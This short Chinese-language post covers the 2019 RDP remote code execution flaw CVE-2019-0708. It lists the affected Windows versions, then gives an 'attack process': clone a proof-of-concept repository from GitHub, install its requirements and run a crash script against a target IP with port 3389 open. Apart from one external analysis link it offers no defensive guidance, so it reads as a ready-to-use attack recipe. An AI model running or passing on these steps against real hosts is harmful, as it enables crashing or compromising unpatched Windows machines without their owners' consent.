CVE-2019-0708漏洞利用

20190514，微軟發布補丁，修復了一個嚴重的RDP遠程代碼執行漏洞。該漏洞無需身份認證和用戶交互，可能形成蠕蟲爆發，影響堪比wannycry。

影響范圍：

Windows 7

Windows Server 2008 R2

Windows Server 2008

Windows Server 2003

Windows XP

 

攻擊過程：

git clone https://github.com/wanglf/CVE-2019-0708.git

pip install -r requirements.txt

python crashpoc.py 目標IP

前期是對方必須開啟了3389端口

 

 

 

 

 

漏洞的分析參考： https://www.freebuf.com/vuls/205380.html